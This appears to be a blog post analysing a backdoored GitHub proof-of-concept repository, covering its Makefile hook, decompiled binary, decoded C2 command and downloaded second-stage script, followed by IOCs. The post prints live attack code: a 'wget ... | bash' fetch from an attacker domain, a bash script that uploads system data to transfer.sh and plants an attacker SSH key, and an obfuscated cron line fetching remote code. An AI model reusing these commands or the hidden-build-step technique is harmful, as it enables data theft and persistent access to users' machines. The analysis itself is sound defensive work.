Update 2023/07/06: The github account hosting the backdoor has been nuked
On twitter I saw this tweet that warns users of a backdoor in a git repo. I wanted to check it out and see what was happening.
# Initial Analysis
If we checkout the repo and look into the Makefile
, we see it executes the following binary:
.PHONY: all clean
TARGET=poc
SOURCES = $(wildcard src/*.c)
HEADERS = $(wildcard inc/*.h)
OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES))
CFLAGS= -I./inc
LDFLAGS= -pthread -static
all: obj $(TARGET) get_root
$(TARGET): $(OBJECTS)
$(CC) $(LDFLAGS) -o $@ $^
strip $@
./src/aclocal.m4
obj/%.o: src/%.c
$(CC) -c $< -o $@ $(CFLAGS)
obj:
mkdir obj
get_root: get_root_src/get_root.c
$(CC) -o $@ $^
rm -fr get_root
clean:
rm -fr getroot
rm -rf obj
rm -f $(TARGET)
Note the line ./src/aclocal.m4
. So lets checkout the file!
$ file src/aclocal.m4
src/aclocal.m4: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9fc8befaa32a1a88133dd077db0369576313e6d2, for GNU/Linux 3.2.0, stripped
Only x86
users have to worry about this.
Lets checkout the binary in ghidra.
# Static Analysis
The first thing it does is check the current name of the executable against kworker
by building a string two characters at a time.
i = strlen((char *)&kworker);
(&kworker + i) = 0x776b;
(&kworker + i + 2) = 0;
i = strlen((char *)&kworker);
(&kworker + i) = 0x726f;
(&kworker + i + 2) = 0;
i = strlen((char *)&kworker);
(&kworker + i) = 0x656b;
(&kworker + i + 2) = 0;
i = strlen((char *)&kworker);
(&kworker + i) = 0x72;
/* kworker */
iVar1 = check_self_name((char **)*param_2,&kworker);
If the check is bad, it will copy itself to a new file under the user’s home $HOME/.local/kworker
and re-execute itself from there.
However, if the check is good, it will open and lock a copy of /tmp/.ICE-unix.pid
and check the status of the lock. If the file has not been locked, it continues. This allows it to ensure only one copy of itself is running.
Once going further, it changes the current argv[0]
to [kworker/8:3]
further masking itself from process inspection (this will cause ps
to report the name as [kworker/8:3]
), then forks itself and runs the following function once every two minutes.
undefined8 do_curl(void)
{
undefined8 uVar1;
size_t sVar2;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
char *data_buf;
ulong size;
char *local_40;
int local_38;
undefined4 local_34;
undefined4 local_30;
undefined4 local_2c;
undefined8 local_28;
void *local_20;
undefined4 local_14;
ulong i;
data_buf = (char *)malloc(1);
size = 0;
local_14 = 0x27;
local_20 = (void *)realloc(&http_string,0x27);
curl_global_init(3);
local_28 = curl_easy_init();
local_2c = 0x2712;
curl_easy_setopt(local_28,0x2712,local_20);
local_30 = 0x4e2b;
curl_easy_setopt(local_28,0x4e2b,FUN_555555556467);
local_34 = 0x2711;
curl_easy_setopt(local_28,0x2711,&data_buf);
local_38 = curl_easy_perform(local_28);
if (size < 2) {
uVar1 = 0;
}
else {
if (local_38 == 0) {
local_40 = (char *)malloc(size + 0x40);
data_buf[size] = '\0';
for (i = 0; i < size; i = i + 1) {
data_buf[i] = xor_key ^ data_buf[i];
}
if ((size != 0) && (data_buf[size - 1] == '\n')) {
data_buf[size - 1] = '\0';
}
--snip---
snprintf(local_40,size + 0x40,(char *)&local_78,data_buf);
system(local_40);
}
curl_easy_cleanup(local_28);
free(data_buf);
free(local_20);
uVar1 = curl_global_cleanup();
}
return uVar1;
}
# Dynamic Analysis
Lets load it in GDB and see what it downloads. We can break on most of the checks and modify the values its checking in order to not lose the executable, however once it forks, in order to keep following it you must run the following gdb command: set follow-fork-mode child
to debug it properly, step through it after this.
I also patched out the call to sleep to not have to wait.
In here, we allocate a buffer and store the string http://cunniloss.accesscam.org/hash.php
to make a request to using libcurl
.
Unfortunately, the dns entry for the site had been removed (or at least I was getting no responses to my lookups!). Using https://securitytrails.com/domain/cunniloss.accesscam.org/dns
I was able to find the A record associated with the name, and patched my hosts file accordingly. After doing that, we successfully download data from the server. After it is retreived from the server, it is XOR’d with the static byte 0x83
. Here it is un-xor’d in memory:
gef➤ xor-memory display 0x000055555558fef0 0x55 0x83
[+] Displaying XOR-ing 0x55555558fef0-0x55555558ff45 with '0x83'
─────────────────────────────────────── Original block ───────────────────────────────────────────────────────────
0x000055555558fef0 f4 e4 e6 f7 a3 ae f2 a3 ae cc a3 ae a3 a1 eb f7 ................
0x000055555558ff00 f7 f3 b9 ac ac e0 f6 ed ed ea ef ec f0 f0 ad e2 ................
0x000055555558ff10 e0 e0 e6 f0 f0 e0 e2 ee ad ec f1 e4 ac e7 ec ad ................
0x000055555558ff20 f3 eb f3 bc f6 be a7 ab f4 eb ec e2 ee ea aa a5 ................
0x000055555558ff30 eb be a7 ab eb ec f0 f7 ed e2 ee e6 aa a1 a3 ff ................
0x000055555558ff40 a3 e1 e2 f0 eb .....
──────────────────────────────────────── XOR-ed block ────────────────────────────────────────────────────────────
0x000055555558fef0 77 67 65 74 20 2d 71 20 2d 4f 20 2d 20 22 68 74 wget -q -O - "ht
0x000055555558ff00 74 70 3a 2f 2f 63 75 6e 6e 69 6c 6f 73 73 2e 61 tp://cunniloss.a
0x000055555558ff10 63 63 65 73 73 63 61 6d 2e 6f 72 67 2f 64 6f 2e ccesscam.org/do.
0x000055555558ff20 70 68 70 3f 75 3d 24 28 77 68 6f 61 6d 69 29 26 php?u=$(whoami)&
0x000055555558ff30 68 3d 24 28 68 6f 73 74 6e 61 6d 65 29 22 20 7c h=$(hostname)" |
0x000055555558ff40 20 62 61 73 68 bash
So we can see it uses wget to get a second stage payload, so lets grab it and check it out! After wget
, here is what was downloaded.
#!/bin/bash
OUT=/tmp/out.txt
TAR=/tmp/home.tar.gz
SCR=/tmp/scr.png
rm -fr $OUT
AUTH=~/.ssh/authorized_keys
mkdir -p ~/.ssh/
if [ ! -e $AUTH ]; then
touch $AUTH
fi
echo "================================================================" >> $OUT
uname -a >> $OUT
echo "================================================================" >> $OUT
uptime >> $OUT
echo "================================================================" >> $OUT
ls -LR ~/ >> $OUT
echo "================================================================" >> $OUT
ps -ef >> $OUT
echo "================================================================" >> $OUT
mount >> $OUT
echo "================================================================" >> $OUT
H=$(hostname)
U=$(whoami)
RET1=$(curl -s --insecure --upload-file $OUT https://transfer.sh/$H-$U.txt)
#curl -s -o /dev/null http://cunniloss.accesscam.org/term.php?term=$RET
#import -window root -delay 200 $SCR
#RET2=$(curl -s --insecure --upload-file $SCR https://transfer.sh/$H-$U.png)
curl -s -o /dev/null "http://cunniloss.accesscam.org/term.php?term=$RET1"
#tar cvzf $TAR ~/
#RET=$(curl -s --insecure --upload-file $TAR https://transfer.sh/$H-$U.tar.gz)
#curl -s -o /dev/null http://cunniloss.accesscam.org/term.php?term=$RET
rm -fr $OUT
rm -fr $TAR
grep -q "fhxrs43hp464A1sarVJbmsV8OaaUzASJT9EA" $AUTH
if [ $? -ne 0 ]; then
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXEkpzHQ0OniUTP8fhxrs43hp464A1sarVJbmsV8OaaUzASJT9EAF565OK7oBFvYRP6yx4U6BWjjsot7TMOW/ORiST2bAH7q+b6tLO0MnKKnZwpa1bDJYFXJ5ZHEiUyvPLydXvOB6YlL4YfRaxXqsVFwHTlscKUc8eyCOXmn4G0IeeJmgHbgoTL6x8yD0ExvFOseN9hJCK6dSOAQhEM2FRKUqnjbiPavMrHGHcLvqd7wTLNKE1i5cPn4bdGcEtWKbMTjf2hnUuJMxeQuyuCJh2+n9WUUdceO/KcaKkiAJ49z4ayL9fHHd5VcIhmTnkr1ECiTFRhwa/3tW/T6lL9RcaczztKnNE3Si8cYV681cIYePM8SuNJkcMdWFb7X2cyBJ8AMSj+y44RHIk4bSKZwwpBMUyQAV22gBLOFtMSTOsG6JUfvw55nG8I9VJZXvuguK1kEasjEEFnqNnGOu+tdt+yva9TD7yCe2KOHEqND1i1HZYLgRDwkd3E5ntSG2I9xs= root@pulsar >> $AUTH
fi
touch -r /etc/passwd $AUTH
Some stuff is commented patched out, maybe different versions get sent based upon what OS / system is detects you are running. But all it does is exfil some data and drop an ssh key, then update the filetime of the .authorized-keys
file.
# IOC’s
# DNS
cunniloss.accesscam.org
# Files
/tmp/.ICE-unix.pid
$HOME/.local/kworker
# Processes
[kworker/8:3]
# IPs
81.4.109.16
# Hash
SHA256: caa69b10b0bfca561dec90cbd1132b6dcb2c8a44d76a272a0b70b5c64776ff6c
MD5: 7847d26ff86284dce7c3caf3de69a129
# File contents
.ssh/authorized_keys: fhxrs43hp464A1sarVJbmsV8OaaUzASJT9EA
# Misc
Further checking out the user CrisSanders22
on github reveals that ALL his repositories have backdoors in them! For example, https://github.com/ChriSanders22/BotScanner
has been up for 4 years, which on line 189 of scanner.sh
has the fun encoded cronjob embedded inside it:
echo "*/1?*?*?*?*????root???$w?-q?-O?-?signaturesktwilightparadoxkcomjhashkphp?|?bash?>?jdevjnull" | tr -s "?" " " | tr -s "j" "/" | tr -s "k" "." `.
Finally, I went and checked all the emails used on commits on his repo’s, and found the following email cris.sanders22@gmail.com
, which is associated with a similar tor relay email under cris.sanders22@protonmail.com
. Interesting, though, anyone can set those values to be anything, might not mean much.